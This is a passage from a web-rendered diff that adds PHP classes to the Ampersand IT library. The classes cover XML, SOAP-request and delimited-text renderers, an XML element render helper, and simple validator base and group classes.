$method = $xmlElement->getChild($elementName)->getValue();
|
50 |
+
$xmlElement->removeChild($elementName);
|
51 |
+
|
52 |
+
return $method;
|
53 |
+
}
|
54 |
+
|
55 |
+
protected function _buildXml($wsdl, $method, $arguments)
|
56 |
+
{
|
57 |
+
$dummyClient = new Ampersand_Render_Renderer_Soap_DummyClient();
|
58 |
+
|
59 |
+
return $dummyClient->buildXml($wsdl, $method, $arguments);
|
60 |
+
}
|
61 |
+
}
|
lib/Ampersand/Render/Renderer/Soap/DummyClient.php
ADDED
@@ -0,0 +1,39 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Render_Renderer_Soap_DummyClient extends SoapClient
|
17 |
+
{
|
18 |
+
protected $_lastRequest;
|
19 |
+
|
20 |
+
public function __construct()
|
21 |
+
{
|
22 |
+
// prevent SoapClient::__construct from being executed
|
23 |
+
}
|
24 |
+
|
25 |
+
public function buildXml($wsdl, $method, $arguments, $options = array())
|
26 |
+
{
|
27 |
+
$this->SoapClient($wsdl, $options);
|
28 |
+
call_user_func_array(array($this, $method), $arguments);
|
29 |
+
|
30 |
+
return $this->_lastRequest;
|
31 |
+
}
|
32 |
+
|
33 |
+
public function __doRequest($request, $location, $action, $version, $one_way = 0)
|
34 |
+
{
|
35 |
+
$this->_lastRequest = (string) $request;
|
36 |
+
|
37 |
+
return '';
|
38 |
+
}
|
39 |
+
}
|
lib/Ampersand/Render/Renderer/Xml.php
ADDED
@@ -0,0 +1,123 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Render_Renderer_Xml extends Ampersand_Render_Renderer_Abstract
|
17 |
+
{
|
18 |
+
protected function _render(Ampersand_Render_XmlElement $xmlElement)
|
19 |
+
{
|
20 |
+
$value = $xmlElement->getValue();
|
21 |
+
$childOutputs = is_array($value) ? $value : array($value);
|
22 |
+
if ($hasChanges = Ampersand_Xml_Resource::elementHasResource($xmlElement)) {
|
23 |
+
Ampersand_Xml_Resource::clearElement($xmlElement);
|
24 |
+
}
|
25 |
+
|
26 |
+
foreach ($xmlElement->getChildren() as $_child) {
|
27 |
+
$_childOutput = $this->render($_child);
|
28 |
+
$childOutputs[] = $_childOutput;
|
29 |
+
|
30 |
+
if ($_childOutput != $_child->asValidXml()) {
|
31 |
+
$hasChanges = true;
|
32 |
+
}
|
33 |
+
}
|
34 |
+
|
35 |
+
if ($hasChanges) {
|
36 |
+
$xmlElement = Ampersand_Xml::rebuildElement($xmlElement, $childOutputs);
|
37 |
+
}
|
38 |
+
|
39 |
+
$xmlElement = $this->_applyAttributes($xmlElement);
|
40 |
+
|
41 |
+
$doctype = $this->_getDoctype($xmlElement);
|
42 |
+
|
43 |
+
$xml = $this->_renderElement($xmlElement);
|
44 |
+
|
45 |
+
if ($doctype) {
|
46 |
+
$xml = Ampersand_Xml::addDoctype($xml, $doctype);
|
47 |
+
}
|
48 |
+
|
49 |
+
return $xml;
|
50 |
+
}
|
51 |
+
|
52 |
+
protected function _renderElement(Ampersand_Render_XmlElement $xmlElement)
|
53 |
+
{
|
54 |
+
if ($xmlElement->hasCustomFieldName()) {
|
55 |
+
$name = $xmlElement->getFieldName(true);
|
56 |
+
$xmlElement = $xmlElement->copy($name);
|
57 |
+
}
|
58 |
+
|
59 |
+
if ($xmlElement->hasCustomFieldValue()) {
|
60 |
+
$valueElement = $xmlElement->getCustomFieldValueElement(true);
|
61 |
+
$xmlElement->extend($valueElement, true);
|
62 |
+
}
|
63 |
+
|
64 |
+
$this->_trimElementValue($xmlElement);
|
65 |
+
|
66 |
+
return $this->_elementToXml($xmlElement);
|
67 |
+
}
|
68 |
+
|
69 |
+
protected function _elementToXml(Ampersand_Render_XmlElement $xmlElement)
|
70 |
+
{
|
71 |
+
$xml = $xmlElement->asValidXml();
|
72 |
+
|
73 |
+
$declaredPrefixes = array_keys($xmlElement->getDocNamespaces());
|
74 |
+
$usedPrefixes = array_keys($xmlElement->getNamespaces(true));
|
75 |
+
|
76 |
+
$redundantPrefixes = array_diff($declaredPrefixes, $usedPrefixes);
|
77 |
+
|
78 |
+
return Ampersand_Xml::removeNamespaces($xml, $redundantPrefixes);
|
79 |
+
}
|
80 |
+
|
81 |
+
protected function _applyAttributes(Ampersand_Render_XmlElement $xmlElement)
|
82 |
+
{
|
83 |
+
$attributes = array();
|
84 |
+
$children = array_reverse($xmlElement->getChildren(), true);
|
85 |
+
foreach ($children as $_compound => $_child) {
|
86 |
+
if ($this->_isAttribute($_child)) {
|
87 |
+
$_name = $_child->getName();
|
88 |
+
$_value = $_child->getValue();
|
89 |
+
|
90 |
+
if (!array_key_exists($_name, $attributes)) {
|
91 |
+
$attributes[$_name] = $_value;
|
92 |
+
}
|
93 |
+
|
94 |
+
$xmlElement->removeChild($_compound);
|
95 |
+
}
|
96 |
+
}
|
97 |
+
|
98 |
+
$attributes = array_reverse($attributes, true);
|
99 |
+
foreach ($attributes as $_name => $_value) {
|
100 |
+
$xmlElement->setAttribute($_name, $_value);
|
101 |
+
}
|
102 |
+
|
103 |
+
return $xmlElement;
|
104 |
+
}
|
105 |
+
|
106 |
+
protected function _getDoctype(Ampersand_Render_XmlElement $xmlElement)
|
107 |
+
{
|
108 |
+
$child = $xmlElement->getChild('_doctype');
|
109 |
+
if (is_null($child)) {
|
110 |
+
return null;
|
111 |
+
}
|
112 |
+
|
113 |
+
$doctype = $child->getValue();
|
114 |
+
$xmlElement->removeChild($child);
|
115 |
+
|
116 |
+
return $doctype;
|
117 |
+
}
|
118 |
+
|
119 |
+
protected function _isAttribute(Ampersand_Render_XmlElement $xmlElement)
|
120 |
+
{
|
121 |
+
return 'true' === $xmlElement->getAttribute('is_attribute');
|
122 |
+
}
|
123 |
+
}
|
lib/Ampersand/Render/Renderer/Xsv.php
ADDED
@@ -0,0 +1,127 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Render_Renderer_Xsv extends Ampersand_Render_Renderer_Abstract
|
17 |
+
{
|
18 |
+
protected function _render(Ampersand_Render_XmlElement $xmlElement)
|
19 |
+
{
|
20 |
+
$fields = array();
|
21 |
+
$datas = array();
|
22 |
+
foreach ($xmlElement->getChildren() as $_child) {
|
23 |
+
$_data = $this->_childrenAsArray($_child);
|
24 |
+
foreach ($_data as $_name => $_value) {
|
25 |
+
if (!in_array($_name, $fields)) {
|
26 |
+
$fields[] = $_name;
|
27 |
+
}
|
28 |
+
}
|
29 |
+
|
30 |
+
$datas[] = $_data;
|
31 |
+
}
|
32 |
+
|
33 |
+
return $this->_renderLines($xmlElement, $fields, $datas);
|
34 |
+
}
|
35 |
+
|
36 |
+
protected function _renderLines(Ampersand_Render_XmlElement $xmlElement, $fields, $datas)
|
37 |
+
{
|
38 |
+
$lines = array();
|
39 |
+
|
40 |
+
if ($this->_getIncludeFieldNames($xmlElement)) {
|
41 |
+
$lines[] = $this->_renderLine($xmlElement, $fields);
|
42 |
+
}
|
43 |
+
|
44 |
+
foreach ($datas as $_data) {
|
45 |
+
$lines[] = $this->_renderLine($xmlElement, $fields, $_data);
|
46 |
+
}
|
47 |
+
|
48 |
+
return implode($this->_getLineSeparator($xmlElement), $lines)
|
49 |
+
. $this->_getLineSeparator($xmlElement);
|
50 |
+
}
|
51 |
+
|
52 |
+
protected function _renderLine(Ampersand_Render_XmlElement $xmlElement, $fields, $data = null)
|
53 |
+
{
|
54 |
+
$allData = array();
|
55 |
+
foreach ($fields as $_name) {
|
56 |
+
if (is_null($data)) {
|
57 |
+
$_value = $_name;
|
58 |
+
} else if (array_key_exists($_name, $data)) {
|
59 |
+
$_value = $data[$_name];
|
60 |
+
} else {
|
61 |
+
$_value = '';
|
62 |
+
}
|
63 |
+
|
64 |
+
$allData[$_name] = $this->_delimitValue(
|
65 |
+
$xmlElement, $this->_escapeValue($xmlElement, $_value)
|
66 |
+
);
|
67 |
+
}
|
68 |
+
|
69 |
+
return implode($this->_getValueSeparator($xmlElement), $allData);
|
70 |
+
}
|
71 |
+
|
72 |
+
protected function _escapeValue(Ampersand_Render_XmlElement $xmlElement, $value)
|
73 |
+
{
|
74 |
+
$delimiter = $this->_getValueDelimiter($xmlElement);
|
75 |
+
|
76 |
+
return str_replace($delimiter, $delimiter . $delimiter, $value);
|
77 |
+
}
|
78 |
+
|
79 |
+
protected function _delimitValue(Ampersand_Render_XmlElement $xmlElement, $value)
|
80 |
+
{
|
81 |
+
return $this->_getValueDelimiter($xmlElement)
|
82 |
+
. $value . $this->_getValueDelimiter($xmlElement);
|
83 |
+
}
|
84 |
+
|
85 |
+
protected function _getIncludeFieldNames(Ampersand_Render_XmlElement $xmlElement)
|
86 |
+
{
|
87 |
+
return ('false' !== $xmlElement->getAttribute('include_field_names'));
|
88 |
+
}
|
89 |
+
|
90 |
+
protected function _getValueDelimiter(Ampersand_Render_XmlElement $xmlElement)
|
91 |
+
{
|
92 |
+
if ($xmlElement->hasAttribute('value_delimiter')) {
|
93 |
+
return $this->_filterSpecialCharacters(
|
94 |
+
$xmlElement->getAttribute('value_delimiter')
|
95 |
+
);
|
96 |
+
}
|
97 |
+
|
98 |
+
return '"';
|
99 |
+
}
|
100 |
+
|
101 |
+
protected function _getValueSeparator(Ampersand_Render_XmlElement $xmlElement)
|
102 |
+
{
|
103 |
+
if ($xmlElement->hasAttribute('value_separator')) {
|
104 |
+
return $this->_filterSpecialCharacters(
|
105 |
+
$xmlElement->getAttribute('value_separator')
|
106 |
+
);
|
107 |
+
}
|
108 |
+
|
109 |
+
return ',';
|
110 |
+
}
|
111 |
+
|
112 |
+
protected function _getLineSeparator(Ampersand_Render_XmlElement $xmlElement)
|
113 |
+
{
|
114 |
+
if ($xmlElement->hasAttribute('line_separator')) {
|
115 |
+
return $this->_filterSpecialCharacters(
|
116 |
+
$xmlElement->getAttribute('line_separator')
|
117 |
+
);
|
118 |
+
}
|
119 |
+
|
120 |
+
return "\n";
|
121 |
+
}
|
122 |
+
|
123 |
+
protected function _filterSpecialCharacters($string)
|
124 |
+
{
|
125 |
+
return str_replace(array('\n', '\r', '\t'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 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Render
|
7 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
8 |
+
* @license TBC
|
9 |
+
*/
|
10 |
+
|
11 |
+
/**
|
12 |
+
* @category Ampersand_Library
|
13 |
+
* @package Ampersand_Render
|
14 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
15 |
+
*/
|
16 |
+
class Ampersand_Render_XmlElement extends Ampersand_Xml_Element
|
17 |
+
{
|
18 |
+
public function render($asArray = false)
|
19 |
+
{
|
20 |
+
return $this->_render($asArray, $this);
|
21 |
+
}
|
22 |
+
|
23 |
+
protected function _render($asArray, $rootElement)
|
24 |
+
{
|
25 |
+
$this->_applyDefaults();
|
26 |
+
|
27 |
+
$rendererName = $this->getAttribute('renderer');
|
28 |
+
$this->removeAttribute('renderer');
|
29 |
+
|
30 |
+
$childrenAsArray = !$rendererName && $asArray;
|
31 |
+
|
32 |
+
$childOutputs = $this->_renderChildren($childrenAsArray, $rootElement);
|
33 |
+
|
34 |
+
if (!$childrenAsArray && false !== $childOutputs) {
|
35 |
+
array_unshift($childOutputs, $this->getValue());
|
36 |
+
$xmlElement = Ampersand_Xml::rebuildElement($this, $childOutputs);
|
37 |
+
} else {
|
38 |
+
$xmlElement = $this;
|
39 |
+
}
|
40 |
+
|
41 |
+
if ($rendererName) {
|
42 |
+
$output = $rootElement->getRendererProvider()->getObject($rendererName)
|
43 |
+
->render($xmlElement)
|
44 |
+
;
|
45 |
+
} else if ($childrenAsArray) {
|
46 |
+
if (count($childOutputs)) {
|
47 |
+
$output = $childOutputs;
|
48 |
+
} else {
|
49 |
+
$output = $this->getFieldValue();
|
50 |
+
}
|
51 |
+
} else {
|
52 |
+
$output = $xmlElement->asFormattedXml();
|
53 |
+
}
|
54 |
+
|
55 |
+
if ($asArray) {
|
56 |
+
$name = $xmlElement->getFieldName();
|
57 |
+
$output = array($name => $output);
|
58 |
+
}
|
59 |
+
|
60 |
+
return $output;
|
61 |
+
}
|
62 |
+
|
63 |
+
protected function _renderChildren($renderAsArray, $rootElement)
|
64 |
+
{
|
65 |
+
$hasChanges = false;
|
66 |
+
$childOutputs = array();
|
67 |
+
|
68 |
+
if ($areCdataTagsRequired = $this->_areCdataTagsRequired($this, true)) {
|
69 |
+
$values = array();
|
70 |
+
}
|
71 |
+
foreach ($this->getFieldValueNode()->getChildren() as $_child) {
|
72 |
+
$_childOutput = $_child->_render($renderAsArray, $rootElement);
|
73 |
+
if (!$renderAsArray) {
|
74 |
+
if (!$areCdataTagsRequired || Ampersand_Xml::isValidXml($_childOutput)) {
|
75 |
+
$childOutputs[] = $_childOutput;
|
76 |
+
} else {
|
77 |
+
$values[] = $_childOutput;
|
78 |
+
}
|
79 |
+
} else {
|
80 |
+
$_name = key($_childOutput);
|
81 |
+
if ($_name !== '_name' && $_name !== '_value') {
|
82 |
+
$childOutputs = array_diff_key($childOutputs, $_childOutput) + $_childOutput;
|
83 |
+
}
|
84 |
+
}
|
85 |
+
|
86 |
+
if (!$renderAsArray && $_childOutput != $_child->asValidXml()) {
|
87 |
+
$hasChanges = true;
|
88 |
+
}
|
89 |
+
}
|
90 |
+
|
91 |
+
if ($areCdataTagsRequired && $hasChanges) {
|
92 |
+
$value = '<![CDATA[' . implode("\n", $values) . ']]>';
|
93 |
+
array_unshift($childOutputs, $value);
|
94 |
+
}
|
95 |
+
|
96 |
+
if ($renderAsArray || $hasChanges) {
|
97 |
+
return $childOutputs;
|
98 |
+
}
|
99 |
+
|
100 |
+
return false;
|
101 |
+
}
|
102 |
+
|
103 |
+
/**
|
104 |
+
* Merges any default values defined in this element's XML into descendants
|
105 |
+
* of this element
|
106 |
+
*
|
107 |
+
* @return Ampersand_Render_XmlElement
|
108 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
109 |
+
*/
|
110 |
+
protected function _applyDefaults()
|
111 |
+
{
|
112 |
+
$compound = Ampersand_Xml::buildCompound('__default', null, self::COMPOUND_WILDCARD);
|
113 |
+
$defaultNodes = $this->getChildren($compound);
|
114 |
+
|
115 |
+
foreach ($defaultNodes as $_defaultNode) {
|
116 |
+
Ampersand_Deprecate::log();
|
117 |
+
|
118 |
+
if (!$_xpath = $_defaultNode->getAttribute('xpath')) {
|
119 |
+
continue;
|
120 |
+
}
|
121 |
+
|
122 |
+
$_defaultNode->removeAttribute('xpath');
|
123 |
+
foreach ($this->xpath($_xpath) as $__matchedNode) {
|
124 |
+
$__matchedNode->extend($_defaultNode);
|
125 |
+
}
|
126 |
+
|
127 |
+
$this->removeChild($_defaultNode);
|
128 |
+
}
|
129 |
+
|
130 |
+
return $this;
|
131 |
+
}
|
132 |
+
|
133 |
+
public function getFieldName($removeIfSet = false)
|
134 |
+
{
|
135 |
+
if ($this->hasCustomFieldName()) {
|
136 |
+
$child = $this->getChild('_name');
|
137 |
+
$name = $child->getValue();
|
138 |
+
|
139 |
+
if ($removeIfSet) {
|
140 |
+
$this->removeChild($child);
|
141 |
+
}
|
142 |
+
|
143 |
+
return $name;
|
144 |
+
}
|
145 |
+
|
146 |
+
return $this->getName();
|
147 |
+
}
|
148 |
+
|
149 |
+
public function getFieldValueNode($removeIfSet = false)
|
150 |
+
{
|
151 |
+
if ($this->hasCustomFieldValue()) {
|
152 |
+
$node = $this->getCustomFieldValueElement($removeIfSet);
|
153 |
+
} else {
|
154 |
+
$node = $this;
|
155 |
+
}
|
156 |
+
|
157 |
+
return $node;
|
158 |
+
}
|
159 |
+
|
160 |
+
public function getFieldValue($removeIfSet = false)
|
161 |
+
{
|
162 |
+
$xml = $this->getFieldValueNode($removeIfSet)->getInnerXml();
|
163 |
+
|
164 |
+
if (is_string($xml) && !strlen(trim($xml))) {
|
165 |
+
return null;
|
166 |
+
}
|
167 |
+
|
168 |
+
return $xml;
|
169 |
+
}
|
170 |
+
|
171 |
+
public function hasCustomFieldName()
|
172 |
+
{
|
173 |
+
return $this->hasChild('_name');
|
174 |
+
}
|
175 |
+
|
176 |
+
public function hasCustomFieldValue()
|
177 |
+
{
|
178 |
+
return $this->hasChild('_value');
|
179 |
+
}
|
180 |
+
|
181 |
+
public function getCustomFieldValueElement($removeIfSet = false)
|
182 |
+
{
|
183 |
+
$element = $this->getChild('_value')->copy();
|
184 |
+
|
185 |
+
if ($removeIfSet) {
|
186 |
+
$this->removeChild('_value');
|
187 |
+
}
|
188 |
+
|
189 |
+
return $element;
|
190 |
+
}
|
191 |
+
|
192 |
+
/**
|
193 |
+
* @todo Allow provider to be stored against this object
|
194 |
+
*/
|
195 |
+
public function getRendererProvider()
|
196 |
+
{
|
197 |
+
return new Ampersand_Render_Renderer_Provider();
|
198 |
+
}
|
199 |
+
|
200 |
+
protected function _areCdataTagsRequired(Ampersand_Render_XmlElement $xmlElement,
|
201 |
+
$clearAttribute = false
|
202 |
+
) {
|
203 |
+
$tagsRequired = 'true' === $xmlElement->getAttribute('cdata_tags');
|
204 |
+
|
205 |
+
if ($clearAttribute) {
|
206 |
+
$xmlElement->removeAttribute('cdata_tags');
|
207 |
+
}
|
208 |
+
|
209 |
+
return $tagsRequired;
|
210 |
+
}
|
211 |
+
|
212 |
+
protected function _applyCdataTags(Ampersand_Render_XmlElement $xmlElement)
|
213 |
+
{
|
214 |
+
$initialValidXml = $xmlElement->asValidXml();
|
215 |
+
do {
|
216 |
+
$rand = mt_rand();
|
217 |
+
$openTag = 'start_CDATA_' . $rand . '[';
|
218 |
+
$closeTag = ']end_CDATA_' . $rand;
|
219 |
+
} while (false !== strpos($openTag, $initialValidXml) || false !== strpos($closeTag, $initialValidXml));
|
220 |
+
|
221 |
+
$xmlElement->setValue($openTag . $xmlElement->getValue() . $closeTag);
|
222 |
+
|
223 |
+
$taggedValidXml = $xmlElement->asValidXml();
|
224 |
+
$taggedValidXml = str_replace($openTag, '<![CDATA[', $taggedValidXml);
|
225 |
+
$taggedValidXml = str_replace($closeTag, ']]>', $taggedValidXml);
|
226 |
+
|
227 |
+
return $xmlElement->getNewInstance($taggedValidXml);
|
228 |
+
}
|
229 |
+
}
|
lib/Ampersand/Validator/Abstract.php
ADDED
@@ -0,0 +1,54 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Validator
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Validator
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Validator_Abstract implements Ampersand_Validator_Interface
|
19 |
+
{
|
20 |
+
protected $_config;
|
21 |
+
|
22 |
+
public function setConfig(Ampersand_Object $config)
|
23 |
+
{
|
24 |
+
$this->_config = $config;
|
25 |
+
|
26 |
+
return $this;
|
27 |
+
}
|
28 |
+
|
29 |
+
public function getConfig()
|
30 |
+
{
|
31 |
+
if (is_null($this->_config)) {
|
32 |
+
$this->_config = new Ampersand_Object($this->_getDefaultConfigData());
|
33 |
+
}
|
34 |
+
|
35 |
+
return $this->_config;
|
36 |
+
}
|
37 |
+
|
38 |
+
protected function _getDefaultConfigData()
|
39 |
+
{
|
40 |
+
return array();
|
41 |
+
}
|
42 |
+
|
43 |
+
public function validate($input)
|
44 |
+
{
|
45 |
+
$this->_validate($input);
|
46 |
+
|
47 |
+
return $this;
|
48 |
+
}
|
49 |
+
|
50 |
+
protected function _validate($input)
|
51 |
+
{
|
52 |
+
return $this;
|
53 |
+
}
|
54 |
+
}
|
lib/Ampersand/Validator/And.php
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Validator
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Validator
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Validator_And extends Ampersand_Validator_GroupAbstract
|
19 |
+
{
|
20 |
+
protected function _validate($input)
|
21 |
+
{
|
22 |
+
foreach ($this->getChildren() as $_validator) {
|
23 |
+
if (!$_validator->validate($input)) {
|
24 |
+
return false;
|
25 |
+
}
|
26 |
+
}
|
27 |
+
|
28 |
+
return (bool) $this->getChildren();
|
29 |
+
}
|
30 |
+
}
|
lib/Ampersand/Validator/GroupAbstract.php
ADDED
@@ -0,0 +1,40 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Validator
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Validator
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
abstract class Ampersand_Validator_GroupAbstract extends Ampersand_Validator_Abstract
|
19 |
+
{
|
20 |
+
protected $_children = array();
|
21 |
+
|
22 |
+
public function getChildren()
|
23 |
+
{
|
24 |
+
return $this->_children;
|
25 |
+
}
|
26 |
+
|
27 |
+
public function addChild(Ampersand_Validator_Interface $validator)
|
28 |
+
{
|
29 |
+
$this->_children[] = $validator;
|
30 |
+
|
31 |
+
return $this;
|
32 |
+
}
|
33 |
+
|
34 |
+
public function setChildren(array $children)
|
35 |
+
{
|
36 |
+
$this->_children = $children;
|
37 |
+
|
38 |
+
return $this;
|
39 |
+
}
|
40 |
+
}
|
lib/Ampersand/Validator/InstanceOf.php
ADDED
@@ -0,0 +1,26 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Validator
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Validator
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
class Ampersand_Validator_InstanceOf extends Ampersand_Validator_Abstract
|
19 |
+
{
|
20 |
+
protected function _validate($input)
|
21 |
+
{
|
22 |
+
$expectedClass = $this->getConfig()->getExpectedClass();
|
23 |
+
|
24 |
+
return ($input instanceof $expectedClass);
|
25 |
+
}
|
26 |
+
}
|
lib/Ampersand/Validator/Interface.php
ADDED
@@ -0,0 +1,36 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Ampersand IT Library
|
4 |
+
*
|
5 |
+
* @category Ampersand_Library
|
6 |
+
* @package Ampersand_Validator
|
7 |
+
* @subpackage Message
|
8 |
+
* @copyright Copyright (c) 2008-2011 Ampersand IT (UK) Ltd. (http://www.ampersandit.co.uk)
|
9 |
+
* @license TBC
|
10 |
+
*/
|
11 |
+
|
12 |
+
/**
|
13 |
+
* @category Ampersand_Library
|
14 |
+
* @package Ampersand_Validator
|
15 |
+
* @subpackage Message
|
16 |
+
* @author Josh Di Fabio <josh.difabio@ampersandit.co.uk>
|
17 |
+
*/
|
18 |
+
